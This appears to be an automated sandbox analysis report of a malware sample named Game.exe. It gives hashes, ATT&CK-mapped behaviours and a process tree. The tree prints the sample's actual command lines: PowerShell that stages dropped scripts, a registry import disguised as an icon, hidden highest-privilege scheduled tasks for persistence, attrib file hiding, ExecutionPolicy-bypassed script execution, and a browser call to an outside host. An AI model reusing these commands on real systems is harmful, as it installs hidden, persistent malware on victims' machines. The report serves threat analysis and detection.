0168fb5df2839eb85282afb39d1f5c73e4319eaa141d9592122511f73037ec06

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 21:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Game.exe
Size 4.4MB
Sample261024-1tqdqaxtbw
SHA256 0168fb5df2839eb85282afb39d1f5c73e4319eaa141d9592122511f73037ec06
MD5 617b560ff5b82a7ef6953c0da35f2aea
SHA1 ad9a1f0501d9294073ac19abba418438db6fbc4b
SHA512 1fac562fe3beeaeb803a4861814a3e2f05ac71dd53ac28891de8fd9cbfe6c8e3b31e7073ad74dc033e21880b9f1f25f133e3c6d8d86d1f1faae4d50667a40487
SSDEEP 98304:qr9eoj1s5PvP3c0k3toUhQ+QeYeiFf9sJZR6qAXKp:qrQK1S3dk3tpQ+QeYeiOZC6p
TLSH
T15C26339C14E8CA2FEACF0F3834B89B54C7C7CD54A518ABCFA06C7853753521B10AAB65
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4608	powershell.exe
2376	powershell.exe
3860	powershell.exe
4900	powershell.exe
376	powershell.exe
3320	powershell.exe
2436	powershell.exe
2860	powershell.exe
2268	powershell.exe
2108	powershell.exe
1704	powershell.exe
5032	powershell.exe
4900	powershell.exe
3396	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	Game_patch-run.exe
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	Game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	Game_patch-run.exe
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	Game.exe

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
2096	Game_patch-run.exe

Executes dropped EXE 4 IoCs

pid	Process
4904	Game_patch-run.exe
1720	Game.exe
2096	Game_patch-run.exe
1224	Game.exe

Loads dropped DLL 2 IoCs

pid	Process
4904	Game_patch-run.exe
2096	Game_patch-run.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping952_1368022380\nav_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping952_1211772109\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping952_439918377\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping952_439918377\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping952_1368022380\manifest.json	msedge.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3196	powershell.exe
2592	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2720	cmd.exe
3384	cmd.exe
2428	cmd.exe
2332	cmd.exe
2992	cmd.exe
1756	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
816	1224	WerFault.exe	88

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game_patch-run.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game_patch-run.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5048	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-939655444-3071939294-1401108526-1000\{647B50AC-E687-4164-ADCB-11AEF8E4F87D}	msedge.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
2108	powershell.exe
2108	powershell.exe
1704	powershell.exe
1704	powershell.exe
5032	powershell.exe
5032	powershell.exe
4900	powershell.exe
4900	powershell.exe
2376	powershell.exe
2376	powershell.exe
2592	powershell.exe
2592	powershell.exe
4608	powershell.exe
3396	powershell.exe
3396	powershell.exe
4608	powershell.exe
2436	powershell.exe
3196	powershell.exe
3196	powershell.exe
2436	powershell.exe
2860	powershell.exe
2860	powershell.exe
3860	powershell.exe
3860	powershell.exe
2268	powershell.exe
2268	powershell.exe
4900	powershell.exe
4900	powershell.exe
376	powershell.exe
3320	powershell.exe
1144	msedge.exe
1144	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
952	msedge.exe
952	msedge.exe
952	msedge.exe
952	msedge.exe
952	msedge.exe
952	msedge.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4904	Game_patch-run.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	3196	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe
Token: 34	3860	powershell.exe
Token: 35	3860	powershell.exe
Token: 36	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe
Token: 34	3860	powershell.exe
Token: 35	3860	powershell.exe
Token: 36	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
952	msedge.exe
952	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 4904	912	Game.exe	85
PID 4904 wrote to memory of 1720	4904	Game_patch-run.exe	86
PID 1720 wrote to memory of 2096	1720	Game.exe	87
PID 2096 wrote to memory of 1224	2096	Game_patch-run.exe	88
PID 4904 wrote to memory of 3384	4904	Game_patch-run.exe	96
PID 3384 wrote to memory of 2428	3384	cmd.exe	98
PID 2428 wrote to memory of 2108	2428	cmd.exe	99
PID 2096 wrote to memory of 2332	2096	Game_patch-run.exe	101
PID 2332 wrote to memory of 2992	2332	cmd.exe	103
PID 2992 wrote to memory of 1704	2992	cmd.exe	104
PID 3384 wrote to memory of 5032	3384	cmd.exe	106
PID 2332 wrote to memory of 4900	2332	cmd.exe	108
PID 3384 wrote to memory of 2040	3384	cmd.exe	109
PID 3384 wrote to memory of 2376	3384	cmd.exe	110
PID 2332 wrote to memory of 1916	2332	cmd.exe	111
PID 3384 wrote to memory of 2592	3384	cmd.exe	112
PID 3384 wrote to memory of 1756	3384	cmd.exe	113
PID 1756 wrote to memory of 3396	1756	cmd.exe	114
PID 2332 wrote to memory of 4608	2332	cmd.exe	115
PID 2332 wrote to memory of 3196	2332	cmd.exe	116
PID 3384 wrote to memory of 2436	3384	cmd.exe	117
PID 2332 wrote to memory of 2720	2332	cmd.exe	118
PID 2720 wrote to memory of 2860	2720	cmd.exe	119
PID 3384 wrote to memory of 3860	3384	cmd.exe	120
PID 2332 wrote to memory of 2268	2332	cmd.exe	121
PID 2332 wrote to memory of 4900	2332	cmd.exe	122
PID 3384 wrote to memory of 116	3384	cmd.exe	124
PID 3384 wrote to memory of 376	3384	cmd.exe	125
PID 2332 wrote to memory of 2288	2332	cmd.exe	126
PID 2332 wrote to memory of 3320	2332	cmd.exe	127
PID 3384 wrote to memory of 2580	3384	cmd.exe	128
PID 2332 wrote to memory of 952	2332	cmd.exe	130
PID 2580 wrote to memory of 1212	2580	msedge.exe	131
PID 952 wrote to memory of 4972	952	msedge.exe	132
PID 952 wrote to memory of 5048	952	msedge.exe	134
PID 952 wrote to memory of 4304	952	msedge.exe	135
PID 952 wrote to memory of 4304	952	msedge.exe	135
PID 952 wrote to memory of 4304	952	msedge.exe	135
PID 952 wrote to memory of 1796	952	msedge.exe	136
PID 952 wrote to memory of 1796	952	msedge.exe	136
PID 952 wrote to memory of 3948	952	msedge.exe	137
PID 952 wrote to memory of 4864	952	msedge.exe	138
PID 952 wrote to memory of 3948	952	msedge.exe	137
PID 952 wrote to memory of 3948	952	msedge.exe	137
PID 952 wrote to memory of 4864	952	msedge.exe	138
PID 952 wrote to memory of 4864	952	msedge.exe	138
PID 952 wrote to memory of 3644	952	msedge.exe	139
PID 952 wrote to memory of 1704	952	msedge.exe	140
PID 952 wrote to memory of 3644	952	msedge.exe	139
PID 952 wrote to memory of 3644	952	msedge.exe	139
PID 952 wrote to memory of 1704	952	msedge.exe	140
PID 952 wrote to memory of 1704	952	msedge.exe	140
PID 952 wrote to memory of 4212	952	msedge.exe	141
PID 952 wrote to memory of 4212	952	msedge.exe	141
PID 952 wrote to memory of 4212	952	msedge.exe	141
PID 952 wrote to memory of 3340	952	msedge.exe	142
PID 952 wrote to memory of 3340	952	msedge.exe	142
PID 952 wrote to memory of 3812	952	msedge.exe	145
PID 952 wrote to memory of 3812	952	msedge.exe	145
PID 952 wrote to memory of 4884	952	msedge.exe	147
PID 952 wrote to memory of 4884	952	msedge.exe	147
PID 952 wrote to memory of 4196	952	msedge.exe	148
PID 952 wrote to memory of 4196	952	msedge.exe	148
PID 952 wrote to memory of 2956	952	msedge.exe	150

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
116	attrib.exe
2288	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Game.exe
"C:\Users\Admin\AppData\Local\Temp\Game.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:912
- C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe
  "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" C:\Users\Admin\AppData\Local\Temp
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Users\Admin\AppData\Local\Temp\Game.exe
    "C:\Users\Admin\AppData\Local\Temp\Game.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe
      "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" C:\Users\Admin\AppData\Local\Temp
      4⤵
      Checks computer location settings
      Deletes itself
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2096
    - - C:\Users\Admin\AppData\Local\Temp\Game.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Game.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1224
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1224 -s 844
        6⤵
        Program crash
        
        PID:816
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tidy.bat" "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" "attrib" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2026-10" "Game_patch-run.exe" "Windows Registry Editor" "scheduledtask" "HKEY_CURRENT_USER\SOFTWARE\\""
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2332
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
        6⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1704
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(Get-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"').Replace('{HKU}', '"HKEY_CURRENT_USER\SOFTWARE\\"') | Set-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\""
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4900
      - C:\Windows\SysWOW64\reg.exe
        
        reg.exe import C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico /reg:64
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1916
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "foreach ($item in @(\"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\", \"$env:PROGRAMDATA\DiagnosticsNET\update.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\updater.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\cache.ps1\", \"$env:PROGRAMDATA\Features\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\updater.ps1\", \"$env:PROGRAMDATA\SdkWin\update.ps1\", \"$env:PROGRAMDATA\SdkWin\updater.vbs\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.vbs\")) { if (Test-Path -LiteralPath $item) { Remove-Item -LiteralPath $item -Force } }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4608
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$ErrorActionPreference = 'SilentlyContinue'; "$paths = @{ \"$env:PROGRAMDATA\Features\x\" = 'bwlsbbdcmnelxiyqegmtphqwirmxvnx'; \"$env:PROGRAMDATA\Features\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\UpdatesWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\UpdatesWin\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\SdkWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\SdkWin\updater.tmp\" = 'updater.vbs'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\updater.tmp\" = 'updater.ps1' }; foreach ($src in $paths.Keys) { if (Test-Path -LiteralPath $src) { Rename-Item -LiteralPath $src -NewName $paths[$src] } }"
        6⤵
        Hide Artifacts: Ignore Process Interrupts
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
        6⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(Get-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\") -replace '{flPQ}', 'a62h81hab8329ja' -replace '{testD1}', 'DiagnosticsNET\win64\network_agent.dll' -replace '{testD2}', 'DiagnosticsNET\win32\network_agent.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\") -replace '{randomzt}', 'US' -replace '{randomui}', 'bwlsbbdcmnelxiyqegmtphqwirmxvnx' | Set-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\") -replace '{randomkey}', '1eJctR5LdYdNRycM' -replace '{randomtest1}', 'SdkWin\C#(.NET)\4.5\net_diagn.dll' -replace '{randomtest2}', 'SdkWin\C#(.NET)\9.0\net_diagn.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\") -replace '{liveTest}', 'a50caac3a2e33afe425060c1de16ff24' -replace '{testL1}', '64\dll\aplt.dll' -replace '{testL2}', '32\dll\aplt.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\""
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2268
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $triggerAtStartup = New-"scheduledtask"Trigger -AtStartup; $triggerAtLogon = New-"scheduledtask"Trigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-"scheduledtask"Trigger -RepetitionInterval (new-timespan -days 30) -at $dt -Once; $stt.Repetition.StopAtDurationEnd = $false; $settings = New-"scheduledtask"SettingsSet -Hidden -StartWhenAvailable -AllowStartIfOnBatteries -ExecutionTimeLimit 0 -DontStopIfGoingOnBatteries -DontStopOnIdleEnd; $principal = New-"scheduledtask"Principal -RunLevel Highest -GroupId 'S-1-5-32-545'; $principal2 = New-"scheduledtask"Principal -RunLevel Highest -UserID "$env:USERNAME" -LogonType S4U; $action = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\DiagnosticsNET\update.vbs\"'; $action2 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\SdkWin\updater.vbs\"'; $action3 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\WinPackages\update.vbs\"'; $action4 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\updater.ps1\"'; $action5 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\update.ps1\"'; $action6 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\GameSavings\Windows\win_libraries\update.vbs\"'; $task = New-"scheduledtask" -Action $action -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task2 = New-"scheduledtask" -Action $action2 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task3 = New-"scheduledtask" -Action $action3 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task4 = New-"scheduledtask" -Action $action4 -Trigger $stt -Principal $principal2 -Settings $settings; $task5 = New-"scheduledtask" -Action $action5 -Trigger $stt -Principal $principal2 -Settings $settings; $task6 = New-"scheduledtask" -Action $action6 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; unregister-"scheduledtask" -TaskName 'NetworkDiagnosticService' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'SystemCacheMaintenance' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'IEPackages' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSettingsDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameUpdaterDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSavings' -Confirm:$false -ErrorAction SilentlyContinue; register-"scheduledtask" 'NetworkDiagnosticService' -InputObject $task; register-"scheduledtask" 'SystemCacheMaintenance' -InputObject $task2; register-"scheduledtask" 'IEPackages' -InputObject $task3; register-"scheduledtask" 'GameSettingsDLC' -InputObject $task4; register-"scheduledtask" 'GameUpdaterDLC' -InputObject $task5; register-"scheduledtask" 'GameSavings' -InputObject $task6;
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4900
      - C:\Windows\SysWOW64\attrib.exe
        
        "attrib" +h +s "C:\ProgramData\Features\*.*" /s /d
        6⤵
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:2288
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Features\update.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3320
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=Game&bucket=S13SPB2Z_2026-10X&u=9bwlsbbdcmnelxiyqegmtphqwirmxvnx
        6⤵
        Drops file in Program Files directory
        Checks processor information in registry
        Enumerates system info in registry
